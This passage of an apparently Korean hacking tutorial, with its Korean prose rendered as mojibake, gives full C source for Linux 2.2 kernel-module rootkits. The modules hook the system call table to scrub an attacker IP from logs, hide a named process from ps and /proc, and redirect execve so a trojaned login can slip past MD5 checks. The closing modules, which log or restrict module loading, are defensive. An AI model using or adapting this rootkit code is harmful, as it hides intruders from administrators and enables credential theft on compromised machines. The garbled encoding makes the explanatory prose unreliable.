++ fake_log.c ++ /* * fake_log.c * * replace his log to " " * */ #define MODULE #define __KERNEL__ #include #include #include #include #include extern void *sys_call_table[]; int (*orig_write)(unsigned int fd, char *buf, unsigned int count ); int hacked_write(unsigned int fd, char *buf, unsigned int count ) { char *kernel_buf; char hide[] = "165.246.33.54"; char replace[] = " "; char *key; kernel_buf = (char *) kmalloc( 128, GFP_KERNEL); copy_from_user( kernel_buf, buf, 127 ); key = strstr(kernel_buf, (char*)&hide); if( key != NULL ) { strncpy( key, replace, strlen(replace) ); copy_to_user( buf, kernel_buf, 128); kfree(kernel_buf); return 0; } else{ kfree(kernel_buf); return orig_write(fd, buf, count); } } int init_module(void) { orig_write = sys_call_table[__NR_write]; sys_call_table[__NR_write] = hacked_write; return 0; } void cleanup_module() { sys_call_table[__NR_write] = orig_write; } -- fake_log.c -- netstat¸¦ ÇØº¸ÀÚ. ºù°í!~ ¿ì¸®ÀÇ ¾ÆÀÌÇÇ´Â ÈǸ¢ÇÏ°Ô °¨Ãß¾îÁ® ÀÖ´Ù. ³×Æ®¿÷À» ·Î±×ÇÏ´Â Ãø¸é¿¡¼­ ¿ª½Ã logÈ­Àϵ鿣 ¿ì¸®ÀÇ ÀÚÃë°¡ ³²Áö ¾ÊÀ» °ÍÀÌ´Ù. À̸¸ÇÏ¸é ¾µ¸¸ÇÏÁö ¾Ê´Â°¡. ;-) 8. Hide Process --------------- ÇØÄ¿µéÀº ±×µéÀÇ ÀÛ¾÷ ÇÁ·Î¼¼½º¸¦ °¨Ãß¾î¾ß¸¸ ÇÑ´Ù. ÇÁ·Î¼¼½º´Â sysadminµéÀÌ Ã¼Å©Çϴ ù¹øÂ° Á¦°Å ´ë»óÀ̱⠶§¹®ÀÌ´Ù. ps»ó¿¡¼­ ¿ì¸®ÀÇ Á¸Àç´Â ¹Ù¶÷°ú °°ÀÌ »ç¶óÁ®¾ß ÇÑ´Ù. gone with wind... process´Â /proc¾Æ·¡ÀÇ process pidÀ̸§À¸·Î ±¸¼ºµÈ µð·ºÅ丮¸¦ °¡Áö¸ç, kernelÀÌ °¢ ÇÁ·Î¼¼½º¸¦ ´Ù·ê¶§, proc¾ÈÀÇ ¸ðµç µð·ºÅ丮¸¦ °Ë»öÇÏ¿© ÇØ´çÇÏ´Â pid¸¦ task_struct·Î ¹Ù²Ù¾î process¸¦ ÄÁÆ®·ÑÇÏ´Â ±â¹ýÀ» ¾²°í ÀÖ´Ù. ¿©±â¼­´Â process¸¦ ¸®½ºÆÃÇϰíÀÚ ÇÏ´Â ·çƾ¿¡ ´ëÇØ , getdents¸¦ °¡·Îä°í, /proc¾ÈÀÇ ¸ðµç pidµð·ºÅ丮¸¦ °Ë»öÇÑ´Ù. pid·Î ºÎÅÍ ¸Þ¸ð¸®»óÀÇ task_struct¸¦ ¾ò°í, ±× taskÀÇ À̸§À» ¿ì¸®ÀÇ mtroj°ú ºñ±³, ÀÏÄ¡ÇÏ¸é ´ÙÀ½ Æ÷ÀÎÅÍ·Î ¿£Æ®¸® Á¡ÇÁ. ¼Ò½º¸¦ º¸¸é¼­ ÀÌÇØÇÏÀÚ. ++ hide_proc.c ++ /* * hide_proc.c * * my hide_process..... * 1. find process from /proc directory .... * 2. get task_struct /proc/pid * 3. compare task->comm(process name), mtroj's name * 4. if it exist then jump to next /proc/???. - loop * */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include extern void* sys_call_table[]; char mtroj[] = "fucking"; int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count ); //just to convert string -> number int myatoi(char *str) { int res = 0; int mul = 1; char *ptr; for(ptr = str + strlen(str) -1; ptr >= str; ptr--) { if( *ptr < '0' || *ptr > '9') return -1; res += (*ptr - '0') * mul; mul *= 10; } return res; } // get task structure from pid struct task_struct *get_task(pid_t pid) { struct task_struct *p = current; do{ if(p->pid == pid) return p; p = p->next_task; } while (p != current ); return NULL; } // string compares with task->comm(process name), mtroj returns 1(exist), 0(non) int invisible(pid_t pid ) { struct task_struct *task = get_task(pid); if (task) { if(strstr(task->comm, (char*)&mtroj )) // task->comm Àº ÇÁ·Î¼¼½º À̸§, mtrojÀº ¿ì¸®°¡ °¨Ãâ ÇÁ·Î¼¼½ºÀÇ À̸§ÀÌ´Ù. return 1; return 0; } } int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { unsigned int tmp, n; int t, proc =0; struct inode *dinode; struct dirent *dirp2, *dirp3; // »ç¿ëÀÚ file descriptor¿¡¼­ dirÀ» Àоî¿È. tmp = (*orig_getdents) (fd, dirp, count); dinode = current->files->fd[fd]->f_dentry->d_inode; /*process part*/ if( dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1 ) proc = 1; if( tmp > 0 ) { // dirp2¿¡ µð·ºÅ丮¿µ¿ª ¸Þ¸ð¸®¸¶·Ã. dirpÀÇ ³»¿ë dirp2¿¡ º¹»ç. dirp2 = (struct dirent *)kmalloc(tmp, GFP_KERNEL); copy_from_user(dirp2, dirp, tmp); dirp3 = dirp2; t = tmp; while( t > 0) { n = dirp3->d_reclen; t -= n; //mtroj°ú task->commÀ» ºñ±³ÇÑ´Ù. if( (proc && invisible(myatoi(dirp3->d_name)) ) ) { //mtroj µÚÀÇ ³»¿ëÀ» dirp3¿¢¼¼½º Æ÷ÀÎÅÍÀ§Ä¡¿¡ ¿Å±è. if( t != 0) memmove(dirp3, (char *)dirp3 + dirp3->d_reclen, t ); else dirp3->d_off = 1024; tmp -= n; } // . , ..ÀÇ °æ¿ì ºüÁ®³ª¿Å. if( dirp3->d_reclen == 0) { tmp -= t; t = 0; } // mtroj ÀÌ ¾Æ´Ñ°æ¿ì ´ÙÀ½ ¿£Æ®¸® °Ë»ö. if( t!=0) dirp3 = (struct dirent*)( (char*) dirp3+dirp3->d_reclen ); } // À§ ³»¿ëÀ» dirp¿¡ ¿Å±è. copy_to_user(dirp, dirp2, tmp); kfree(dirp2); } return tmp; } int init_module() { orig_getdents = sys_call_table[__NR_getdents]; sys_call_table[__NR_getdents] = hacked_getdents; return 0; } void cleanup_module() { sys_call_table[__NR_getdents] = orig_getdents; } -- hide_proc.c -- µð·ºÅ丮ÀÇ È­ÀÏÀ» °¨Ãß´Â ¿ø¸®¿Í ºñ½ÁÇÏ´Ù. ´ÜÁö UNIX°¡ processÁ¶ÀÚ È­Àϱ¸Á¶¸¦ ÅëÇÑ ¿¢¼¼½º¸¦ ÇÑ´Ù´Â °Í¿¡ ÁÖÀÇÇØ º¸ÀÚ. 9. Rediect Excutable file ------------------------- ÀÏ´Ü ÇÑ ½Ã½ºÅÛÀÌ Á¡·ÉµÇ¸é, ÇØÄ¿´Â 2Â÷°ø°ÝÀ» À§ÇÑ ´Ù¸¥°èÁ¤µé¿¡ ´ëÇÑ ÆÐ½º¿öµå ÇØÅ·¿¡ ³ª¼±´Ù. ³×Æ®¿÷¿¡ À־ÀÇ troijanÀ̶õ ¸»Àº ¹Ù·Î ±×·±Àǹ̿¡¼­ÀÌ´Ù. ÇÑ ³×Æ®¿÷ÀÇ °èÁ¤°ú ÆÐ½º¿öµå´Â ±× ÁÖÀ§ ½Ã½ºÅ۵鿡 ´ëÇØ ¿©°ú¾øÀÌ Àû¿ëµÇ´Â °æ¿ì°¡ Çã´ÙÇϱ⠶§¹®ÀÌ´Ù. ¿¹Àü±îÁö¸¸ ÇØµµ ¿ì¸®´Â loginÇÁ·Î±×·¥À» ¿ì¸®ÀÇ ¼Ò½º ÄÄÆÄÀÏÇÑ °ÍÀ¸·Î È­ÀÏ ÀÚü¸¦ ġȯÇÏ´Â ÇüÅÂÀÇ Æ®·ÎÀÌÀÜÀ» »ç¿ëÇß¾ú´Ù. ±×·¯³ª, ¾Õ¼­ ¸»ÇßµíÀÌ MD5ÇØ½¬¿¡ ÀÇÇØ sysadminÀº ÀÚ½ÅÀÇ ½Ã½ºÅÛÀÇ loginÀÌ ¹Ù²î¾úÀ½À» ½±°Ô ŽÁö ÇÒ ¼ö ÀÖ´Ù. ±×·¯¸é ¿ì¸®ÀÇ kernel module¸¦ ÀÌ¿ëÇØ¼­ ¾î¶»°Ô ÀÌ·¯ÇÑ Àå¾Ö¸¦ ±Øº¹ÇÒ¼ö ÀÖÀ»±î? loginÇÁ·Î±×·¥ ÀÚü¸¦ ¹Ù²ÙÁö ¾Ê°í ,¿ì¸®ÀÇ ·Î±ä ÇÁ·Î±×·¥Àº ´Ù¸¥ °÷¿¡ ¼û°ÜµÎ°í, ½ÇÇàµÇ¾îÁú È­ÀÏÀÇ °æ·Î¸¦ ¿ì¸®ÀÇ °ÍÀ¸·Î ¹Ù²ãº¸ÀÚ. °£´ÜÈ÷ system call execve()¸¦ °¡·Îä°í /bin/login½ÇÇà½Ã¿¡ ¿ì¸®°¡ ¸¸µé¾î³í Æ®·ÎÀÌÀÜ /var/tmp/login·Î ġȯÇÏ¸é µÇ°Ú´Ù. ¿ì¸®´Â MD5ÀÇ À庮À» ³ÑÀ» ¼ö ÀÖ´Ù. ¿©±â¼­´Â ¿ì¸®ÀÇ execve() - asmebly code¸¦ µî·Ï½Ã۰í, execve¸¦ ġȯÇÑ´Ù. ½ÇÇà½Ãų ¸í·É¾îÀÇ path¸¦ ¾Ë±â À§ÇØ strncpy_from_user()¸¦ ¾´´Ù. ++ redirect.c ++ /* * redirect.c * */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include extern void *sys_call_table[]; int errno; int __NR_myexecve; static inline _syscall1( int, brk, void *, end_data_segment ); int (*orig_execve) (const char*, const char **, const char ** ); int my_execve( const char *filename, const char *argv[], const char *envp[] ) {//inline assembly code for execve system call long __res; __asm__ volatile( "int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"( (long)(filename) ), "c"( (long)(argv) ), "d"( (long)(envp) ) ); return (int) __res; } int hacked_execve(const char *filename, const char *argv[], const char *envp[] ) { char *test; int ret, tmp; char *truc = "/bin/ls"; char *nouveau = "/bin/ps"; unsigned long mmm; test = (char*) kmalloc(strlen(truc) +2, GFP_KERNEL); (void)strncpy_from_user(test, filename, strlen(truc) ); test[strlen(truc)] = '\0'; if( !strcmp( test, truc )) { kfree(test); mmm = current->mm->brk; ret = brk( (void*) (mmm + 256) ); if(ret < 0) return ret; copy_to_user( (void*) (mmm+2), nouveau, strlen(nouveau) + 1); ret = my_execve( (char*)(mmm+2), argv, envp); tmp = brk( (void*) mmm ); } else { kfree(test); ret = my_execve(filename, argv, envp); } return ret; } int init_module(void) { orig_execve = sys_call_table[__NR_execve]; __NR_myexecve = 200; sys_call_table[__NR_myexecve] = orig_execve; sys_call_table[__NR_execve] = (void*) hacked_execve; return 0; } void cleanup_module(void) { sys_call_table[__NR_execve] = orig_execve; } -- rediect.c -- ÀÌ ¸ðµâÀ» ¿Ã·ÈÀ»¶§´Â ls¸í·É¾î°¡ ps¸¦ ½ÇÇà½ÃŰ´Â ²ÃÀÌ µÈ´Ù. Âü°í·Î __NR_myexecve´Â ÀÓÀÇ·Î 200ÀÇ system call ³Ñ¹ö¸¦ ºÎ¿©ÇÑ °ÍÀÓÀ» ¹àÈù´Ù. 200¹ø´ë ½Ã½ºÅÛÄÝÀÌ »ç¿ëµÇ°í ÀÖÀ» °æ¿ì ¿ì¸®ÀÇ myexecve´Â ´Ù¸¥ ºó°÷À» ã¾Æ¾ß ÇÑ´Ù. ½Ã½ºÅÛÀÌ ¸Á°¡Áö´Â °ÍÀ» ¹æÁöÇÏÀÚ. ÀÚÄ© ÇÊÀÚÀÇ Ä¿³Îó·³ ¾²·¯Á®¼­ ¾È ÀϾ´Â °æ¿ì°¡ ¹ß»ýÇÑ´Ù. 10. Socket System Call Redirection Sorry to my readers.I'm so lazy. my kernel was down and he didn't want to wake up. :( Remain it your problem here , to our hard study hackers. if you implemented it successfully , then e-mail to me i'm always waitting for your email . seo@igrus.inha.ac.kr 11. Tty Hijacking reference Phrack 50-5 "Abuse of the Linux Kernel for Fun and Profit" by halflife 12. Postscript Phrack 52-18ÀÇ "Weakening the Linux Kernel"ÀÌ ³ª¿ÂÁöµµ ¾î¾ð 2³âÀÌ Áö³µ´Ù. ¶ÇÇÑ ÇöÀç´Â solaris¹× FreeBSDÀÇ Ä¿³Î ¹éµµ¾îµµ Ȱ¹ßÈ÷ ¿¬±¸µÇ¾î º¸°í µÇ¾ú´Ù. ¸¹Àº ÇØÄ¿µéÀÌ Å©·¡Å·¿¡ ÀÖ¾î ½Ã½ºÅÛ Á¡·ÉÈÄ ±×µé Ä¿³Î ¹éµµ¾î¸¦ »ç¿ëÇϰí ÀÖ´Ù. -¾î¼¸é ¿ì¸®µµ ¸ð¸£´Â »çÀÌ¿¡ ¿ì¸®ÀÇ ½Ã½ºÅÛÀÌ ±×µéÀÇ ¼Õ¿¡ »ç¿ëµÇ°í ÀÖ´ÂÁöµµ ¸ð¸¥´Ù. :( À§¿¡¼­ ¿¹Á¦·ÎÇÏ´Â ¼Ò½ºµéÀº THC¿¡¼­ ¹ßÇ¥ÇÑ ¼Ò½º¸¦ Ä¿³Î 2.2.x¿¡ ¸Â°Ô ¼öÁ¤ÇÑ °ÍµéÀÌ´Ù. À̹ۿ¡µµ LKMÀ» »ç¿ëÇÑ ¿©·¯ ¹éµµ¾îµéÀÌ ¸¹ÀÌ ³ª¿ÍÀÖÁö¸¸, THC¿¡¼­ ¹ßÇ¥ÇÑ ¹®¼­µéÀÌ °¡Àå ±³°ú¼­ÀûÀÌ´Ù. Âü°íÀûÀ¸·Î THC¿¡¼­ ¹ßÇ¥ÇÑ Ä¿³Î 2.0.x´ëÀÇ ¹éµµ¾î¸µ ±â¹ýÀº Ä¿³Î 2.2.x¿¡¼­ Á¤»óÀûÀ¸·Î ÀÛµ¿ÇÏÁö ¾ÊÀ¸¸ç, ÀûÀýÇÏ°Ô ¼öÇàÇÏ·Á¸é À§ÀÇ ¼Ò½º¸¦ »ç¿ëÇÒ °ÍÀ» ±ÇÀ¯ÇÑ´Ù. ÇÊÀÚ°¡ »ý°¢Å°·Î ÀÌ ¹öÁ¯´ëÀÇ Ä¿³ÎÀ̶ó¸é ¹«¸®¾øÀÌ Å×½ºÆÃ µÉ¼ö ÀÖÀ» °ÍÀÌ´Ù. ¾Æ¿ï·¯ ´õ ¸¹Àº ºÎºÐÀ» Âü°íÇÏ·Á¸é, plaguezÀÇ Phrack¹®¼­ 52-18 "Weakening the Linux Kernel", LDPÀÇ "Linux kernel module programming guide" , R Magnus, U Kunitz, M beck..ÀÇ "Linux Kernel Internels" , Scott MaxwellÀÇ "Linux core kernel commentary", THC°¡ kernel moduleÇØÅ·¿¡ ´ëÇØ Á¤¸®ÇØ ³õÀº "Complete Linux Loadable kernel Modules" ¸¦ Âü°íÇØ º¸±â ¹Ù¶õ´Ù. ¶ÇÇÑ, 2.0.x -> 2.2.x ·ÎÀÇ Ä¿³Î º¯È­¿¡ ´ëÇØ ¼Ò°³ÇØ³í ±ÛÁß Alan CoxÀÇ "Porting Linux 2.0 Drivers To Linux 2.2: Changes and New Features"µµ ¾Æ¿ï·¯ Âü°íÇØ º¸¸é ÁÁÀ» °ÍÀÌ´Ù. ÇѰ¡Áö session 10, 11Àº ÇÊÀÚ°¡ Å×½ºÆ®¸¦ ÇÏ´Ù°¡ Ä¿³ÎÀ» ³Ê¹« ±«·ÓÈù °ü°è·Î ±×°¡ Á×¾ú±â ¶§¹®¿¡ À̹®¼­¿¡¼­ ¼Ò°³ÇÏ´Â °ÍÀ» º¸·ù ÇÏ¿´´Ù. 11ÀåÀº ÀÌ¹Ì halflife¿¡ ÀÇÇØ Phrack 50-5¿¡ "Abuse of the Linux Kernel for Fun and Profit"¼Ò°³ µÇ¾ú´ø ³»¿ëÀÌ´Ù. Âü°íÇ϶ó. ¾Æ¹«ÂÉ·Ï ÀÌ °£´ÜÇÑ ¼Ò°³ ¹®¼­¸¦ ÅëÇØ Ä¿³Î 2.4.x¿¡ ´ëÇÑ Ä¿³Î ¸ðµâ ¹éµµ¾î°¡ ¿ì¸® ³ª¶ó¿¡¼­ ³ª¿ÍÁÖ±æ °£ÀýÈ÷ ±â´ëÇÏ´Â ¹ÙÀÌ´Ù. 13. Conf ---------- Âü°íÇ϶ó... ÀÌ·¯ÇÑ ¹éµµ¾î¸µ¿¡ ´ëÇÑ ¹æ¾î¸ðµâÀ» ½Ç¾ú´Ù. ÇØÄ¿µé¿¡°Õ ¹æ¾î±â¹ýÀÌ ¿ÀÈ÷·Á Âü°í »çÇ׾ƴѰ¡... Heh ¿ì¸®°¡ ±× ¸ðµâÀÇ À̸§À» ¾Ë°í ÀÖ´Ù¸é, ºÐ¸í ³»¸±¼öµµ ÀÖ´Ù. ÇÏÁö¸¸, ±× ¸ðµâÀº º¸ÀÌÁö ¾ÊÀ» ¼öµµ ÀÖ´Ù. À̸¦ À§ÇØ Ä¿³Î º¸µâÀÌ ¿Ã¶ó°¡´Â ½Ã±â¸¶´Ù ±× À̸§À» Àû´Â ¸ðµâÀ» »ý¼ºÇØ º¸ÀÚ. Àû¾îµµ ¾î¶² ¾ÇÀÇÀÇ ¸ðµâÀÌ ¿Ã¶ó°¬´Ù ³»·Á¿ÂÁö´Â ÆÄ¾ÇÀÌ µÇ¾ß º¹±¸(?)°¡ °¡´ÉÇÏ´Ù. ++creat_module.c++ /* * creat_module.c * logs to kernel log ( like dmesg ) * */ #define MODULE #define __KERNEL__ #include #include #include #include #include extern void* sys_call_table[]; int (*orig_create_module)(char*, unsigned long); int hacked_create_module(char *name, unsigned long size) { char *kernel_name; int ret; kernel_name = (char*) kmalloc(256, GFP_KERNEL); copy_from_user(kernel_name, name, 255); /*here we log to syslog, but you can log where you want*/ printk("<1> SYS_CREATE_MODULE : %s\n", kernel_name); ret = orig_create_module(name, size); return ret; } int init_module(void) /*module setup*/ { orig_create_module=sys_call_table[SYS_create_module]; sys_call_table[SYS_create_module]=hacked_create_module; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_create_module]=orig_create_module; } --creat_module.c-- ÁöÁ¤µÈ ¸ðµâ¸¸ ¿Ã¸®±â. Ä¿³Î ¸ðµâÀÌ ÁÖ´Â ±× ÀÚÀ¯´Â ÇØÄ¿¿¡°Ô¸¸ Àû¿ëµÇ´Â °ÍÀÌ ¾Æ´Ï´Ù. ¿ì¸®´Â ¸¶Âú°¡Áö·Î ÇØÄ¿°¡ ÇÏ´Â Áþº¸´Ù ¸ÕÀú ¼±¼ö¸¦ Ä¥¼öµµ ÀÖ´Ù. ¿©±â¼­´Â ¹Ì¸® ÁöÁ¤µÈ ¸ðµâ¸¸À» ¿Ã·Áº¸ÀÚ. ´ëºÎºÐÀÇ °æ¿ì Ưº°ÇÑ ½Ã½ºÅÛ ¸ðµâ ÇÁ·Î±×·¡¹ÖÀ̳ª Ä¿³Î ÇÁ·Î±×·¡¹Ö ÀÛ¾÷ÁßÀÌ ¾Æ´Ï¶ó¸é ¿ì¸®ÀÇ ¸ðµâÀ» ¿Ã¸®°í ³»¸®´Â ÁþÀº °ÅÀÇ »ç¿ëµÇÁö ¾Ê´Â´Ù. ³×Æ®¿÷Ä«µå³ª, ºñµð¿ÀÄ«µå¿Í °°ÀÌ ÁöÁ¤µÈ ¸ðµâ¸¸À» Ä¿³Î ³»ºÎ·Î Çã¿ë ÇÏ´Â °ÍÀº ¾î¶² ¸ðµâµµ ¿Ã¸®Áö ¸øÇÏ°Ô ÇÏ´Â°Í º¸´Ù »ç·Á±íÀº ÀÏÀÌ´Ù. ¾Æ·¡ÀÇ modpass´Â ¹Ì¸® ÁöÁ¤µÈ filenameÀ» °¡Áø ¸ðµâ¸¸À» Ä¿³Î ³»ºÎ·Î ¼ö¿ëÇÑ´Ù. ÀÌ¿¡µµ ¾àÁ¡ÀÌ ¾ø´Â °ÍÀº ¾Æ´Ï³ª, ¾ó¸¶¸¸Å­ÀÇ ´ëÃ¥ÀÌ µÉ¼ö ÀÖ´Ù. ++modpass.c++ /* * modpass.c * allow to load modules that matched to strings we permarked * */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include extern void* sys_call_table[]; int lock_mod=0; int (*orig_create_module)(char*, unsigned long); int (*orig_stat) (const char *, struct old_stat*); int hacked_stat(const char *filename, struct old_stat *buf) { char *name; int ret; char *password = "password"; //passowd.o¶õ ¸ðµâ¸¸À» Çã¿ëÇÑ´Ù. /*yeah, a great password*/ printk("hacked stat called \n"); name = (char *) kmalloc(255, GFP_KERNEL); (void) strncpy_from_user(name, filename, 255); /*do we have our password ?*/ if (strstr(name, password)!=NULL) { /*allow loading a module for one time*/ lock_mod=1; kfree(name); return 0; } else { kfree(name); ret = orig_stat(filename, buf); } return ret; } int hacked_create_module(char *name, unsigned long size) { char *kernel_name; int ret; if (lock_mod==1) { lock_mod=0; ret=orig_create_module(name, size); return ret; } else { printk("<1>MOD-POL : Permission denied !\n"); return 0; } return ret; } int init_module(void) /*module setup*/ { orig_stat = sys_call_table[__NR_stat]; sys_call_table[__NR_stat]=hacked_stat; orig_create_module = sys_call_table[SYS_create_module]; sys_call_table[SYS_create_module]=hacked_create_module; printk("<1>MOD-POL LOADED...\n"); return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[__NR_stat]=orig_stat; sys_call_table[SYS_create_module]=orig_create_module; } --modpass.c-- EOF_CONTENTS_HERE